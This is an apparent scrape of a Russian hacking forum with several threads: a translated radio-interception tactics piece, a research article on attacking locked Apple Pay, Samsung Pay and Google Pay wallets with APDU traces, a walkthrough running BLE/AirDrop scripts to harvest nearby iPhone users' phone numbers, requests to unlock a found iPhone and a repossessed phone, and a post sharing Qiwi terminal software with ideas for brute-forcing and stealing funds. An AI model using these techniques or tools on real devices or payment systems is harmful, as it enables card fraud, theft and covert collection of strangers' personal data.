В дополнение к оборудованию радиоперехвата, радио-разведчики, занятые оперативным сбором сведений, должны быть оснащены оборудованием оптического наблюдения, дневным и ночным. Это может включать в себя оборудование от гражданского бинокля 10х50 до дальномеров и приборов ночного видения. Эти устройства могут быть использованы для визуального опознавания средств связи и выяснения их рабочих диапазонов. Эта методика подтвердила свою работоспособность в Фергюсоне (беспорядки в августе 2014го - прим. перев.), Балтиморе (волнения весной 2015го - п.п.) и позже в Бёрнсе (противостояние в Орегоне, зима 2015-2016го - п.п.) Бёрнс служит ярким примером деятельности некомпетентных, возможно, в принципе необучаемых, допускающих грубые нарушения режима секретности персонажей, и должен стать серьёзным уроком читателям, которые склонны извлекать выводы из событий.

В дополнение к частотомерам и сканерам с CC/SS, для оперативной идентификации частот могут быть использованы спектроанализаторы и приёмники с графическими панорамными адаптерами, такие, как RTL- SDR. Они также могут применяться для определения излучателей не-связного назначения и широкого разнообразия широкополосных сигналов. Цены на эти устройства упали до уровня, на котором они стали легко доступны. Однако, они по-прежнему непросты в освоении для полноценного, а не дилетантского, использования.

Осуществляя деятельность по радиоперехвату, какой бы она ни была, следует соответствующим образом разделять функции. Группа радиоразведки должна состоять из группы снятия первичной информации, которая определяет активную частоту и дополнительную информацию (режим, субтоны, субкоды и др.), и группы сбора подробной информации, которая осуществляет по возможности опознание полученной от напарников частоты по открытым источникам и далее ведёт за ней наблюдение.

Зона особенно активного радиообмена может потребовать участия нескольких радиооператоров для выполнения задач, возложенных на обе группы. Каждому оператору группы снятия первички может быть выделен отдельный участок диапазона или сектор поиска, в зависимости от требований обстановки, либо же на определённый диапазон могут быть назначены несколько операторов. Особенно активная частота может стать объектом внимания отдельного оператора из группы сбора, в противоположность обычному порядку, когда оператор занимается несколькими частотами. Один оператор группы снятия первички всегда должен заниматься визуальным наблюдением, если есть возможность. Ключевая цель – быстро и точно снять информацию о частотах, и затем на этой основе точно и подробно собирать разведданные.

Данные, собранные обеими группами, передаются аналитической группе. Хотя некоторые материалы радиоперехвата почти не требуют аналитической обработки, подготовленная аналитическая команда необходима для надлежащей оценки разведданных в стратегической (долгосрочной) перспективе. Аналитическая группа должна быть совершенно отделена от групп снятия и сбора, хотя она будет работать с ними в очень тесной смычке.

(С) Sparks31

От меня: не новая, но позвновательная статья. Если тема интересна - обязательно поработать с анализатором спектра (например SDRSharp), плагинами и свистком. Принцип резведки схож с принципом поиска жучков.

Заблокирован айфон
ID: 676535aeb4103b69df373612
Thread ID: 57025
Created: 2021-09-24T03:46:08+0000
Last Post: 2022-08-22T05:34:47+0000
Author: Drachunichka77
Prefix: GSM
Replies: 29 Views: 3K

Всем привет,

Я нашёл айфон там блок есть не знаю как его разблокировать. Есть кто знает как разблокировать icloud?

Близкие контакты. Взлом Google Pay, Samsung Pay и Apple Pay
ID: 676535aeb4103b69df37362f
Thread ID: 60149
Created: 2021-12-16T20:10:12+0000
Last Post: 2021-12-19T14:04:52+0000
Author: pablo
Prefix: Статья
Replies: 2 Views: 3K

Электронные кошельки Google Pay, Samsung Pay и Apple Pay считаются наиболее современными платежными инструментами. Однако они тоже подвержены уязвимостям, поскольку все еще зависят от технологий, созданных тридцать лет назад. В сегодняшней статье я расскажу о методах взлома популярных электронных кошельков, а также раскрою детали новой атаки на кошельки и карты EMV/NFC — Cryptogram Confusion.

ПРЕДЫСТОРИЯ​

Если проследить эволюцию стандарта EMV, то вначале были чиповые смарт‑карты. Затем эти карты оснастили антенной и превратили в бесконтактные карты, унаследовавшие почти все функции от EMV. Но карточным брендам этого было мало, и в 2011 году уже существовавший тогда Google Wallet оснастили функцией бесконтактной оплаты с помощью NFC.

Google использовала подход Host-Card Emulator (HCE), когда конечное устройство не содержит в себе все приватные и симметричные ключи шифрования по аналогии со смарт‑картой, а время от времени загружает одноразовые ключи (Single-Use Key, SUK) для каждой следующей операции. Придерживаясь этого подхода до сих пор, телефоны с Google Pay не позволяют совершать больше двадцати операций без подключения к интернету. В 2012 году Samsung и Apple представили свои кошельки с использованием технологии Secure Element. Работают они по аналогии со смарт‑картами, где физически и логически защищенный чип гарантирует защиту от перехвата, чтения, перезаписи секретных ключей, на основе которых создаются 3DES-криптограммы EMV и подписываются данные с помощью асимметричного RSA.

В прошлом Славомир Ясек показывал пример успешного переноса Google Pay с одного устройства на другое. При этом сохранялась возможность получать ключи SUK с серверов Google не на оригинальное устройство. Питер Филлмор (Peter Fillmor) также детально рассматривал устройство Apple Pay. Я в 2017 году демонстрировал на конференции Black Hat USA [реплей атаки на онлайн‑криптограммы Apple Pay](https://www.blackhat.com/docs/us-17/thursday/us-17-Yunusov-The-Future-Of- Applepwn-How-To-Save-Your-Money.pdf).

Два года назад я начал исследовать безопасность мобильных кошельков при оплате с помощью NFC. На тот момент Google Pay был единственным кошельком, позволяющим платить устройством с заблокированным экраном. Я очень быстро смог применить атаку, которую использовал для бесконтактных карт Visa, чтобы обойти лимиты NoCVM или Tap & Go (в России они составляют 3000 рублей). Для этого было необходимо лишь активировать экран на заблокированном телефоне. Если телефон все еще у владельца в кармане, это можно сделать, отправив команду по Bluetooth или Android Beam. Несмотря на заявления экспертов, что «[форматы и протоколы работы бесконтактных карт разных международных систем принципиально не различаются](https://plusworld.ru/professionals/hishhenie-sredstv-s- beskontaktnyh-kart-ocherednoj-fejk-ili-mnenie-eksperta/)», я категорически с этим не согласен, ведь применить такую же атаку против MasterCard мне не удалось.

В конце 2019 года Samsung и Apple представили поддержку «транспортных схем» в крупных мегаполисах: Нью‑Йорке, Токио, Лондоне. Во многих транспортных системах оплата зависит от дальности поездки, при этом финальная сумма платежа высчитывается исходя из точки входа в метро и точки выхода. Поэтому снимать стандартную сумму при первом «тапе» карты или кошелька некорректно. Далее, несмотря на стабильное подключение турникетов к интернету, они не запрашивают авторизацию транзакций онлайн, потому что соединение занимает долгое время. Вместо этого используется асинхронная авторизация. А чтобы противодействовать мошенничеству, применяется офлайн‑аутентификация по современному стандарту CDA, описанному еще в спецификациях EMV. Я уже рассказывал о принципе работы CDA в статье «Близкие контакты. Разбираемся, как работают системы безопасности кредитных карт».

Наконец, последняя проблема электронных кошельков — это необходимость разблокировать телефон Apple или Samsung каждый раз, когда ты подходишь к турникету метро. Крайне неудобно, не правда ли? Именно поэтому и Samsung, и Apple сделали возможность платить на транспорте без разблокировки телефона.

ТОКЕНИЗАЦИЯ​

Мобильные кошельки существуют благодаря технологии токенизации: карта добавляется в мобильный кошелек, данные отсылаются международной платежной системе, которая после подтверждения всех реквизитов создает «виртуальную карту». Она может работать только по NFC, причем только на том устройстве, на котором карта была добавлена. Но это в теории.
![Технология токенизации](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2F60da7d7d8f3087ce8f1286c8ed5a2b00%2F24239%2Fimage5.jpg&hash=e20b85de7ccd1e5ba1c1eeb837ed7932)
Преимущество мобильного кошелька состоит в том, что использование токенов ограничено. В случае компрометации токена злоумышленники не могут использовать украденные данные виртуальной карты, чтобы создать клон магнитной полосы или платить такой картой в интернете. Именно поэтому банки, карточные бренды и крупные производители мобильных кошельков (Apple, Google, Samsung, Huawei и прочие) в один голос утверждают, что безопасность мобильных кошельков находится на высоте.

Начиная с момента замещения карты токеном банки‑эмитенты перестают играть существенную роль в авторизации транзакций и риск‑менеджменте. Да, они получают информацию о местоположении и типе мерчанта, сумме, дате транзакции. Однако все криптографические функции и анализ полей EMV переносятся на токенизатор (Visa VTS или MasterCard MDES). Код, который исполняется в мобильном кошельке, также написан, аудирован и сертифицирован одной из МПС. Apple или Samsung вроде и ни при чем — они выступают фасадом, но всю работу за них делают МПС. А банку‑эмитенту становится труднее судить о мошеннических операциях из‑за недостатка данных.

Поэтому операции с использованием мобильных кошельков, в отличие от банковских карт, почти никогда случайно не блокируются системами антифрода. Именно в этом и кроется одна из основных проблем: ответственные за процесс платежа скрыты внутри самого этого процесса, а сущности снаружи (банк‑эмитент, мерчант, мобильный кошелек) имеют ограниченные возможности для принятия решений.
![Схема платежа при помощи электронного кошелька](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2F60da7d7d8f3087ce8f1286c8ed5a2b00%2F24238%2Fimage4.jpg&hash=837e2d78295cfd6a513f5ea4e4b9648b)

АТАКУЕМ SAMSUNG PAY​

Samsung пошел по простому пути: при активации транспортной карты NFC всегда работает на телефоне, и все проверки, предназначенные для того, чтобы отличить платежный терминал в супермаркете от терминала в метро, совершаются на этапе фазы платежей EMV/NFC.

Быстро добавив карту Visa и установив ее как транспортную в телефоне, я вооружился Proxmark3 и отправился в метро, чтобы записать данные о транзакции и сравнить запросы от терминала в метрополитене с запросами от обычного платежного терминала.

Главная команда в данном случае — запрос терминала на генерацию криптограммы (Generate AC) и ответ кошелька:

Code:Copy to clipboard

->
80a80000438341 — заголовок Generate AC
23004000 — поле Terminal Transaction Qualifier (обязательна офлайн-аутентификация CDA)
54664c20426f6e6420537472656574 (TfL Bond Street) — Merchant Name and Location
9f4bxxxxxxx — данные для офлайн-аутентификации
000000000000000000000000 0826 0000000000 0826 200331 00 4bee1439000 — сумма 0.00, валюта, дата транзакции и другие поля
<-
9f2701 80 — тип криптограммы (онлайн-криптограмма, ARQC)
9f3602 000e — счетчик операций, ATC
9f1020 1f4363 00200000000000000000002172000 — поле CVR — Card Verification Results (среди прочего указывает совершенный способ верификации, тип представленной криптограммы, ARQC)
9f2608 a83f66d03cc20d45 — онлайн-криптограмма

Для платежных терминалов, авторизующих платежи онлайн, бесконтактные карты Visa не требуют офлайн‑аутентификации. Но в данном случае она обязательна. Также телефон проверяет сумму: если она не равна 0.00, то транзакция не пройдет. Но телефон не смотрит на имя мерчанта или категорию продавца (MCC — Merchant Category Code).

Если платеж происходит в обычном терминале, офлайн‑аутентификация не будет затребована и сумма будет отличной от 0.00. В этом случае телефон вернет следующий ответ:

Code:Copy to clipboard

<- 6985 (Conditions of use not satisfied)

Я решил не отчаиваться и добавил карту MasterCard, снова вернулся в метро и провел те же операции:

Code:Copy to clipboard

->
80ae900041 — заголовок Generate AC (обязательна офлайн-аутентификация CDA)
000000000000000000000000 — сумма равна 0.00
4111 — код MCC из категории «Транспорт»
082600200000000826210307006359313725000000000000000000003f0002 — остальные поля
<-
9f2701 80 — тип криптограммы (онлайн-криптограмма, ARQC)
9f3602 000f – счетчик операций, ATC
9f4bxxxxxxx — данные для офлайн-аутентификации, содержащие
   9f101a 02158000002200000000000000000000000A — поле CVR (тип криптограммы — ARQC)
   9f2608 02d8b8f76b5c29fc — онлайн-криптограмма

Для карт MasterCard офлайн‑аутентификация по бесконтактным картам обязательна практически в каждой стране и поддерживается каждой бесконтактной картой. Если она не будет успешна, терминал обязан прервать такую транзакцию. Поэтому телефон проверяет два поля: сумму и код MCC.

Если платеж делается в обычном терминале, сумма будет отличаться от 0.00 и код терминала окажется не из категории «Транспорт». В этом случае телефон вернет такой ответ:

Code:Copy to clipboard

<-
9f2701 00 — тип криптограммы (AAC, криптограмма отказа)
9f3602 000e — счетчик ATC, следующее значение от предыдущего
9f101a 02158000002200000000000000000000000A — CVR (тип криптограммы — AAC)
9f2608 02d8b8f76b5c29fc — AAC Cryptogram

Тут уже что‑то интересное. Напомню, что криптограмма — это 3DES HMAC от некоторых полей, представленных терминалом в запросе Generate AC, и значений в самой карте, например ATC. Моя первая догадка: а что, если ключи и алгоритм калькуляции криптограммы AAC точно такие же, как и для ARQC? Ведь счетчик транзакций увеличивается каждый раз на 1, даже при возврате AAC-криптограммы. Если мы поменяем поле 9f27 на 0x80, криптограмма будет принята терминалом и отправлена на токенизационный хост MasterCard для авторизации. И если этот хост не проверяет значения флагов в поле CVR, где все еще видно, что тип криптограммы другой, транзакция будет одобрена.

Звучит как план, но у меня была проблема: модификация любых полей во время общения терминала и кошелька будет замечена при офлайн‑аутентификации CDA. Тут мне на помощь пришла техника, совсем недавно найденная «швейцарскими учеными» (с). Они обнаружили, что обязательную офлайн‑аутентификацию можно обойти, притворившись картой Visa, и использовали эту технику для обхода ПИН‑кода.

Первый план атаки созрел:

  1. Берем устройство man in the middle для модификации данных между телефоном и терминалом.
  2. Проводим атаку Card Brand Mixup — карта MasterCard притворяется картой Visa (как это делать — читай в исследовании Card Brand Mixup Attack, PDF).
  3. На последнем шаге применяем атаку Cryptogram Confusion: когда кошелек возвращает криптограмму типа 0x00 (AAC), мы меняем значение поля 9f27 на 0x80 (ARQC). Я был приятно удивлен тем, что в конце концов атака Cryptogram Confusion прошла и транзакция была одобрена. Вот видеозапись этой атаки.

Можно ли как‑то совершать платежи по картам Visa и другим, например American Express, если телефон заблокирован? Не обнаружив никакого другого способа получения криптограммы, кроме запроса авторизации на сумму 0.00, я решил воспользоваться атакой [Transaction Stream Manipulation](https://www.pymnts.com/uncategorized/2015/fraudsters-automating- fake-emv-chip-transactions/). В ходе этой атаки данные подменяются не между терминалом и картой или кошельком, а между терминалом и банком‑эквайером, в запросе ISO8583 Authorisation Request. В этом случае у злоумышленника больше возможностей для манипуляции полями. Например, поле «сумма» фигурирует в этом запросе дважды: в первый раз в поле [55] — там, где собраны все поля EMV, а во второй раз — в поле [04], где указывается реально списываемая сумма.

В таком случае атака на другие карты, в том числе Visa, выглядит следующим образом:

  1. Запрашиваем криптограмму на 0.00 так же, как ее запрашивает терминал в метро.
  2. Создаем запрос ISO8583, где указываем корректные поля (сумма — 0.00, криптограмма и так далее), но в поле [04] указываем ту сумму, которую хотим списать с карты.

Хотя кошелек с картой Visa передал информацию о том, что телефон не был разблокирован, эта транзакция была одобрена Visa Tokenisation Service.

АТАКУЕМ APPLE PAY​

Когда‑то корпорация Apple объявляла, что производимые ею телефоны научились поддерживать платежи с заблокированным экраном, на несколько месяцев раньше своих конкурентов. Однако мне долгое время не удавалось проверить их безопасность. Основная загвоздка была в том, что телефон не активировал поле NFC с помощью обычных терминалов и бесконтактных ридеров. Я упорно гуглил, как работает Apple VAS (Value Additional Services) и пытался пользоваться помощью коллег для реверса бинарей Apple Pay (их названия я позаимствовал из презентации Питера Филлмора). Когда я проводил операции в метро, Proxmark3 не записал никаких дополнительных данных, что привело меня в растерянность.

Когда я закончил тесты с Samsung Pay, я все еще не знал, что делать с Apple Pay, и был в отчаянии. Единственным терминалом, которым я мог пользоваться на тот момент, был терминал у турникета метро. Я решил: если я смогу записать криптограмму транзакции в метрополитене, но сама транзакция не пройдет, то я приду домой и попробую вставить криптограмму в Transaction Stream, как это делалось с вариантом Samsung + Visa. После нескольких попыток мне удалось повторить атаку второго типа по отношению к связке Apple + Visa.

Тогда же один умный инженер дал мне совет не использовать Proxmark3, а взять что‑то более надежное, например HydraNFC. Последовав этому совету, я быстро увидел в трафике «нечто» — 15 байт, которые отсылались до первых команд. Тогда мне было трудно поверить, что всего 15 байт разблокируют NFC в iPhone, так как я много читал в патентах про PKI, используемые Apple в VAS. Но это действительно оказалось именно так: всего 15 байт, и телефон позволял читать данные по NFC даже с разряженных устройств.

Посмотрим, как выглядит генерация криптограммы картой MasterCard, заданной как транспортная карта в Apple Pay:

Code:Copy to clipboard

->
80ae900041 — заголовок Generate AC (обязательна офлайн-аутентификация CDA)
000000000000000000000000 — сумма равна 0.00
4111 — код MCC из категории «Транспорт»
082600200000000826210307006359313725000000000000000000003f0002 — остальные поля

В отличие от Samsung, Apple вернет онлайн‑криптограмму, даже если сумма не будет равна 0.00 (сотрудники Apple заявили, что используют или собираются использовать эту функцию, так что «это не баг»).

Однако при подмене кода MCC транзакция будет отклонена из‑за CDA. После июня 2021 года MasterCard закрыла возможность Card Brand Mixup Attack, поэтому оплатить в произвольном терминале этой картой не удастся. Но я все еще мог проводить атаки с использованием Transaction Stream Manipulation.

А что же с картами Visa? Ими можно расплачиваться в любом супермаркете мира по заблокированному iPhone, для этого нужно лишь подменить несколько байтов при обмене между терминалом и телефоном. Да ты и сам об этом уже, скорее всего, читал: исследователи из университетов Бирмингема и Суррея обнаружили эту уязвимость независимо от меня примерно в это же время. Эта уязвимость до сих пор существует, несмотря на то что для ее устранения Visa нужно добавить всего лишь одно маленькое условие в своем токенизационном сервисе.

АТАКУЕМ GOOGLE PAY​

Мы уже показывали в 2019 году, как можно совершать платежи на заблокированном кошельке Google Pay по картам Visa выше лимитов NoCVM: для этого нужно лишь поменять бит в поле TTQ, указывающий, что требуется верификация плательщика. Обойти ограничения по картам MasterCard в прошлый раз не удалось, поэтому я решил попробовать еще. Вместо модификации Transaction Stream я воспользовался старой атакой, описанной Майклом Роландом (Michael Roland) в 2013 году, — [Pre-play and Downgrade](https://www.usenix.org/sites/default/files/conference/protected- files/roland_sec13_slides.pdf) (в предыдущей статье я по ошибке написал, что атаку разработал Питер Филлмор в 2014 году, но это не так).

Для меня оставалось загадкой, почему режим M-STRIPE до сих пор работает в кошельках Google Pay для всех карт MasterCard. Я решил исследовать его чуть поглубже — посмотреть на максимальную энтропию, защиту от скачков ATC и другие механизмы защиты.

Выяснилось следующее.

  1. Максимальная энтропия по картам — 1000 или 10 000. Других настроек я не встретил. Напомню, что карта или кошелек с энтропией 1000 клонируется полностью за 1000 запросов, на это уходит около минуты. Далее злоумышленнику не нужен оригинальный телефон — он может совершать покупки с использованием той информации, которая была клонирована. Количество транзакций зависит от других внедренных мер безопасности.
  2. Ограничения NoCVM на заблокированном телефоне обходятся также подменой 1 бита в запросе от терминала, что позволяет совершать платежи выше 3000 рублей. У некоторых терминалов, однако, есть отдельная конфигурация, указывающая максимальную сумму платежа в легаси‑режиме M-STRIPE.
  3. Если в обычной карте счетчик ATC идет последовательно: 0001, 0002 и так далее, то для мобильного кошелька система MasterCard внедрила так называемый CryptoATC. При перехвате команд они выглядят как случайные значения из 2 байт A56D, F1A1 и так далее. В процессе детокенизации МПС превращает эти значения в последовательные. Однако даже при скачках в 30–50–100 значений счетчика мои транзакции не были заблокированы.

Из‑за новых требований PSD2 в Европе Android ограничивал количество транзакций на заблокированном телефоне до пяти (сейчас это значение — три или ноль, зависит от страны). Это заставило меня задуматься: если MasterCard и Google не проверяют скачки ATC, записав только пять транзакций, какова вероятность воспроизвести одну из них успешно?

Воспользуемся формулой Бернулли, отлично нарисованной Аркадием Литвиненко специально для таких случаев.
![Формула Бернулли в исполнении Аркадия Литвиненко](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2F60da7d7d8f3087ce8f1286c8ed5a2b00%2F24240%2Fimage6.jpg&hash=80cd327c5a3ab62eccfa809d44d13824)
При энтропии 1000, если совершить 50 попыток оплаты в супермаркете, вероятность получить случайное число из пяти записанных составит 14%. Для 100 попыток — 26%. А при наличии доступа к Transaction Stream каждая из этих записанных транзакций может быть монетизирована, ведь злоумышленник в состоянии создать запрос на авторизацию, где сам выставит и случайное число, и значения CVC3/ATC.

Более того, в случае доступа к Transaction Stream и при отсутствии защиты от перебора пар ATC/CVC3, если у злоумышленника есть только токен (16 цифр виртуальной карты и expiry date), ему потребуется максимум 65 535 попыток, чтобы создать и успешно авторизовать мошенническую транзакцию.

Если все, что нужно сделать мошенникам в данном случае, — быть настойчивыми, «тапая» в супермаркете 50–100 раз, каждый раз ожидая успеха, или посылать запросы на авторизацию на серверы токенизации MasterCard MDES, то успех, увы, им гарантирован.

ИТОГИ​

Я обнаружил несколько способов атаковать украденные мобильные кошельки, если на устройстве возможна оплата без разблокировки телефона. Также я нашел новую интересную атаку на протокол EMV — Cryptogram Confusion. С помощью нее можно атаковать не только мобильные кошельки, но и [чиповые/бесконтактные карты](https://www.paymentvillage.org/blog/modern-emv-and-nfc-cardholder- verification-issues).

Мне удалось совершить платеж по клонированным транзакциям кошелька Google Pay c привязанной MasterCard даже при ограничении в пять попыток.

Когда же дело дошло до общения с мобильными вендорами и МПС, итоги оказались неутешительными:

  1. Обо всех недостатках Google была оповещена в феврале. Они сообщили, что в курсе проблем и планируют закрыть возможность платежей на заблокированном экране. Это реализовано созданием отдельной опции в настройках NFC после февраля 2021 года. Также во всех регионах разработчики уменьшили число транзакций на заблокированном телефоне. Остальные уязвимости были проигнорированы.
  2. Apple, Samsung, MasterCard были оповещены весной 2021 года, и завертелось… Apple заявила, что 15 байт для активации NFC — достаточная защита для пользователей. Все мобильные вендоры подняли лапки кверху и, сказав, что не имеют права менять код кошельков, попросили разрешения поделиться находками с МПС. После того как разрешения были даны, мою страницу в LinkedIn много раз посещали уважаемые люди из всех МПС, но никто никогда со мной так и не связался.

Летом этого года MasterCard не только закрыла лазейку для Card Brand Mixup Attack от швейцарских исследователей, но и устранила лазейку для Cryptogram Confusion. Я обнаружил это случайно только в октябре, при подготовке к выступлению. Помимо этого, во многих регионах поле MCC было добавлено в криптограмму, что делает подмену MCC невозможной даже во время Transaction Stream Manipulation. Поменялся метод представления ATC/AAC на заблокированных телефонах Samsung, что и навело меня на мысли о патче. Версию патча я смог выпытать у Samsung (апдейт MPBP 1.2.2, May 27, 2021).

Visa не сильно переживает из‑за все еще существующей возможности совершать платежи на украденных и разряженных телефонах Apple и еще меньше — из‑за манипуляций транзакционным потоком. Они верят в машинное обучение, риск‑ориентированную модель и, скорее всего, заняты развитием бизнеса или другими интересными возможностями, а не безопасностью своих клиентов.

Атаки, которые возможны до сих пор:

  1. Транспортная карта Visa + ApplePay — безлимитные платежи на заблокированном, разряженном или украденном устройстве. Также до сих пор возможны платежи по кошелькам Visa + Google Pay, тут с 2019 года ничего не изменилось.
  2. MasterCard + Google Pay — возможно клонирование транзакций, когда украденной информации будет достаточно для совершения определенного числа платежей.
  3. Остальные вариации карта + кошелек — атаки возможны только при манипуляции Transaction Stream.

Для того чтобы по‑настоящему защититься от злоупотребления платежами на заблокированном телефоне, самое оптимальное решение — сверять категорию мерчанта и сумму со значениями CVR:

Что делать банкам‑эмитентам? Я несколько раз слышал о том, что во время токенизированных транзакций банк может запросить дополнительную информацию от МПС для принятия решений, в частности поля EMV, которые в обычном случае не покидают токенизатор. Насколько сложно это делать и сколько это стоит (все сервисы МПС предоставляют по подписке), я не берусь комментировать.

Что делать клиентам? Давай представим такую картину: ты владелец мобильного кошелька, потерял свой телефон и не заблокировал карту по умолчанию или транспортную карту (я знаю, что в России транспортные карты не используются, но мы же фантазируем). Спустя какое‑то время злоумышленники воспользовались одной из указанных выше техник и сняли с твоего счета 1000 долларов. Что происходит дальше?

  1. Ты звонишь в банк, просишь заблокировать карту и начать разбирательства.
  2. Спустя какое‑то время банк‑эмитент сообщает, что у него нет никаких сведений о мошенническом характере совершенных транзакций. С их стороны все выглядит безобидно. Возможно, ты разгласил свой ПИН‑код?
  3. Попытки общаться с мобильными вендорами (Apple, Samsung, Google) ни к чему не приводят — они будут утверждать, что платежи возможны только у ограниченных категорий мерчантов и в лимитированных суммах. Возможно, ты разгласил свой ПИН‑код?

Что в таком случае остается делать клиентам? Отказаться от использования самых ненадежных продуктов.

За последний год я смог подтвердить свои догадки — разработчики мобильных кошельков уютно устроились, создав «самые безопасные формы платежей», отобрав у банков‑эмитентов возможности для принятия решений во время эмиссии кошелька и авторизации транзакций. При этом они же разводят руками в случае мошенничества или даже возможности мошенничества, перенося ответственность на МПС.

Презентацию и whitepaper, которые я использовал при подготовке этой статьи, можно скачать тут.

Автор Тимур Юнусов
xakep.ru

Получение информации об устройстве apple, уязвимость AirDrop
ID: 676535aeb4103b69df373637
Thread ID: 51262
Created: 2021-04-30T02:55:55+0000
Last Post: 2021-11-17T18:07:39+0000
Author: whitehaker
Prefix: Статья
Replies: 1 Views: 3K

Статья предоставлена исключительно в ознакомительных целях! Мы не несём ответственность за ваши действия

**Эта статья об уязвимости яблочной системы, которая с помощью скриптов

позволяет многое:** ​

От состояния устройства до номера телефона. Мы с вами разберём пример использования скриптов, которые эксплуатируют данную уязвимость.
Исследователи из Hexway выяснили, что стандартный и активно используемый механизм Bluetooth LE (BLE) позволяет узнать довольно многое про яблочное устройство.
Если Bluetooth включен, то любой человек в радиусе действия сигнала может узнать:

Эти скрипты представляют собой экспериментальные PoC, которые показывают, что может получить злоумышленник от устройств Apple, если перехватывает трафик Bluetooth.

Требования​

Чтобы использовать эти скрипты, вам понадобится адаптер Bluetooth для отправки сообщений BLE и карта Wi-Fi, поддерживающая активный режим монитора с инжектом кадров для связи с использованием AWDL (AirDrop). Рекомендуется чип Atheros AR9280 (IEEE 802.11n), который использовался для разработки и тестирования этого кода.
Для полноценной работы скриптов, устройство должно быть на iOS 13 и ниже. С iOS 14 данные скрипты не работают.

Установка​

Пошагово, в терминале kali linux прописываем команды:

Клонируем репозиторий:

Code:Copy to clipboard

git clone https://github.com/hexway/apple_bleee.git cd ./apple_bleee

# Устанавливаем необходимые модули:

Code:Copy to clipboard

sudo apt update sudo apt install -y bluez libpcap-dev libev-dev libnl-3-dev libnl-genl-3-dev libnl-route-3-dev cmake libbluetooth-dev
sudo pip3 install -r requirements.txt

клонируем и устанавливаем owl для AWDL интерфейса

Code:Copy to clipboard

git clone https://github.com/seemoo-lab/owl.git cd ./owl git submodule update --init mkdir build cd build cmake .. make sudo make install cd ../..

Начало использования

Прежде чем использовать эти скрипты, проверьте свой bluetooth адаптер:
прописываем hcitool dev

Code:Copy to clipboard

hcitool dev
Devices:
hci0 00:1A:7D:DA:71:13

Если после devices у вас ничего нет, то прописываем в терминале следующее:

Code:Copy to clipboard

sudo hciconfig hci0 up

Возвращаемся к прошлому пункту и проверяем адаптер.

1.Скрипт: ble_read_state.py

Этот скрипт прослушивает трафик BLE и отображает сообщения о состоянии с устройств Apple. Более того, инструмент обнаруживает запросы на обмен паролями с устройств Apple. В этих пакетах мы можем получить первые 3 байта sha256 (phone_number) и попытаться угадать исходный номер телефона, используя подготовленные таблицы с хеш-значениями телефона.

Для запуска мониторинга запускаем данный скрипт при помощи команды:

Code:Copy to clipboard

sudo python3 ble_read_state.py

нажмите Ctrl+q для выхода

2. Скрипт: airdrop_leak.py

Этот скрипт позволяет получить номер мобильного телефона любого пользователя, который попытается отправить файл через AirDrop.

Для этого скрипта понадобится AWDL интерфейс:
переводим адаптер в режим монитора командой:

Code:Copy to clipboard

ifconfig wlan0 down iwconfig wlan0 mode monitor ifconfig wlan0 up

переводим адаптер в режим монитора и запускаем owl

Code:Copy to clipboard

sudo iwconfig wlan0 mode monitor sudo ip link set wlan0 up sudo owl -i wlan0 -N

Теперь можно запускать скрипт:

Code:Copy to clipboard

python3 airdrop_leak.py

usage: airdrop_leak.py [-h] [-c] [-n] [-m]

Apple AirDrop phone number catcher
---chipik

optional arguments:
-h, --help show this help message and exit
-c, --check_hash Get phone number by hash
-n, --check_phone Get user info by phone number (TrueCaller/etc)
-m, --message Send iMessage to the victim

Без параметров скрипт просто отображает хэш телефона и IPv6-адрес отправителя.

Code:Copy to clipboard

sudo python3 airdrop_leak.py

3. Скрипт: adv_wifi.py

Этот скрипт отправляет сообщения BLE с запросом на использование пароля WiFi. Этот PoC показывает, что злоумышленник может вызвать всплывающее сообщение на целевом устройстве, если он знает любой телефон / адрес электронной почты, который существует на устройстве жертвы.

Code:Copy to clipboard

python3 adv_wifi.py

usage: adv_wifi.py [-h] [-p PHONE] [-e EMAIL] [-a APPLEID] -s SSID
[-i INTERVAL]

WiFi password sharing spoofing PoC
---chipik

optional arguments:
-h, --help show this help message and exit
-p PHONE, --phone PHONE
Phone number (example: 39217XXX514)
-e EMAIL, --email EMAIL
Email address (example: test@test.com)
-a APPLEID, --appleid APPLEID
Email address (example: test@icloud.com)
-s SSID, --ssid SSID WiFi SSID (example: test)
-i INTERVAL, --interval INTERVAL
Advertising interval

Для запроса пароля Wi-Fi нам необходимо указать любой контакт (адрес электронной почты / телефон), который существует в контактах жертвы, и SSID сети Wi-Fi, которую жертва знает.

Code:Copy to clipboard

sudo python3 adv_wifi.py -e pr@hexway.io -s hexway

4. Скрипт: adv_airpods.py

Этот скрипт имитирует AirPods, отправляя BLE запросы

Code:Copy to clipboard

python3 adv_airpods.py
usage: adv_airpods.py [-h] [-i INTERVAL] [-r]
AirPods advertise spoofing PoC
---chipik

optional arguments:
-h, --help show this help message and exit
-i INTERVAL, --interval INTERVAL
Advertising interval
-r, --random Send random charge values

Отправим сообщения BLE со случайными значениями заряда наушников:

Code:Copy to clipboard

sudo python3 adv_airpods.py -r

Ну как то так, так что держитесь айфоны, теперь каждый купит себе блютуз флешку и будет в кофе сидеть смотреть что же вы в своем айфоне делаете.

Поблагодарить меня за статью можно пальцем вверх

Как избавиться от google аккаунта на новых андроид телефонах?
ID: 676535aeb4103b69df37363e
Thread ID: 39275
Created: 2020-07-05T15:29:43+0000
Last Post: 2021-09-04T05:02:33+0000
Author: Castmaster
Prefix: GSM
Replies: 15 Views: 3K

Всем привет ребята, подскажите пожалуйста, у меня есть новый телефон samsung galaxy s20 ultra, друг взял в лизинг, перестал платить и телефон заблокировали. Есть ли возможность перепрошить его? или как-то сбросить? может этим занимаются люди за определенную плату?Заранее спасибо!

Софт терминала киви
ID: 676535aeb4103b69df373644
Thread ID: 49197
Created: 2021-03-11T16:38:51+0000
Last Post: 2021-08-19T10:58:00+0000
Author: Tubu
Prefix: Мануал/Книга
Replies: 5 Views: 3K

Софт терминала киви на месте
Прямиком с работающего терминала
Без каких либо изменений и информации для авторизации
Заранее оговорюсь

  1. НЕ ЗАПУСКАТЬ НА СВОЕЙ МАШИНЕ
  2. Исключительно в ознакомительных целях
  3. Машина обязательно либо виртуалка либо дед, и с двумя пользователями(т.к. из запущенного профиля будет невозможно запустить диспетчер задач или нажать win+r до запуска reg файла)
  4. Если вдруг запустили - любым способом запустите reg файл
  5. Мы не несём ответственность если что-то пойдет не так

https://www.mediafire.com/file/m6kb0bxvc6co1aa/1.zip/file

1)Можно отснифать что куда идёт и запилить брут
2) Если найти авторизацию и поправить - теоретически можно пиздить кош
